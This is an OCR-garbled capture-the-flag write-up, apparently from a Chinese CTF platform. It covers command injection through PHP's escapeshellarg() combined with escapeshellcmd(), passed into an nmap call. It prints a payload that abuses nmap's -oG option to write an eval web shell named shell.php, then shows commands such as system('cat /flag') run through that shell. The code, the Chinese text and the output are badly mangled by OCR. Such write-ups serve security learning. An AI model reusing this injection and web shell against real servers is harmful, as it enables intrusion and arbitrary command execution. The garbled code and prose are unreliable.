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<?php

if (isset($ SERVER[
$_SERVER[ ] = $_SERVER][

if(!isset($ GET[ 1)) {
highlight file(_ FILE_);
} else {
$host = $ GET[ IE

$host = escapeshellarg($host);

$host = escapeshellcmd($host);
$sandbox = md5( S Y
echo .$sandbox;
@mkdir($sandbox);

chdir($sandbox);

echo system(

EHR:

¢ PHP escapeshellarg()+escapeshellcmd() 2 %
¢ escapeshellarg() ¥ f#
¢ escapeshellemd ()i A#

e Nmap -oG &%

FIF escapeshellarg()+escapeshellcmd() BB IREE X, SHA AR5 SEMATHITERSE, REFIHANmapH -oc ZHE AN
shell

*host $_POST


https://paper.seebug.org/164/
https://www.php.net/manual/zh/function.escapeshellarg.php
https://www.php.net/manual/zh/function.escapeshellcmd.php

# Nmap 7.70 scan initiated Thu Dec 3 17:25:46 2020 as: nmap -T5 -sT -Pn --host-timeout 2 -F -0G shell.php \

PHP Version 5.6.40 php

System Linux 95e5b60d00ed 4.15.0-122-generic #124-Ubuntu SMP Thu Oct 15 13:03:05 UTC 2020 x86 64
Build Date Jan 31 2019 01:29:58
Configure Command *feonfigure’ "--build 64-li musl’ *--with fig-file-path=/usr/local/etc/php’ -

scan-dir=/ust/localfetc/php/cont.d with-mhash’
enable-mbstring' '--enable-mysqlnd’ *--with-curl" -
fpm’ '—-with-fpm-user=www-data’ "-with-fpm-grou
linux-musl ‘CFLAGS=-fstack-protector-strong “fpic' -fpi

-enable-option-checking=fatal
-libed

~disable-cgi' 'build_alias=x86_64-
'LDFLAGS=-WI,-O1 "-Wl,--hash-

style=both’ *-pie" 'CPPFLAGS =-fstack-protector-strong " 02
Server API FPM/FastCGl
Virtual Directory Support disabled
Configuration File (php.ini) Path Jusr/local/etc/php
Loaded Configuration File (none)
Scan this dir for additional .ini files Jusr/localfetc/php/conf.d
Additional .ini files parsed (none)
PHP APl 20131106
20131226

on ~ Encoding ~ SQL v - Other =
| @ Load URL http://f3ca0213-d0c8-4f20-8d72-aa8a1a1f02d8.node3.buuoj.cn/29f0ecc47f3d2becd403b4f5a7728d61/shell. php
4 spiturL
») Execute

Postdata [] Referer [ User Agent [] Cookies Clear All

cmd=phpinfo()

# Nmap 7.70 scan initiated Thu Dec 3 17:25:46 2020 as: nmap -T5 -sT -Pn --host-timeout 2 -F -0G shell.php \flag{3a48b31c-b134-44f4-921b-361baee7eaed} \\ # Nmap done at Thu Dec 3 17:25:46 2020 -- 0 IP addresses (0 hosts up) scanned in 0.24
seconds

Encryption v Encoding v SQL ~ XSS~ Other v Contribute now! HackBar
@ Load URL hitp://f3ca0213-d0¢ 8-4f20-872-aaBala102d8.node3.buuoj cn/20f0ecc47T302becd493b415a7728d61/shell php
§ swiitURL

‘ ) Execute

Postdata [ Referer [] User Agent [] Cookies Clear Al

cmd=system(“cat /flag").

PS: XERAANEER, W LF KBRS ZRFERE N4 ?host="<?php eval($_POST["cmd"]);?> -0G
shell.php ' XERFHHISHTHEMNZK, ARHEA, FIMEBENE, RITFEXEA—T, B
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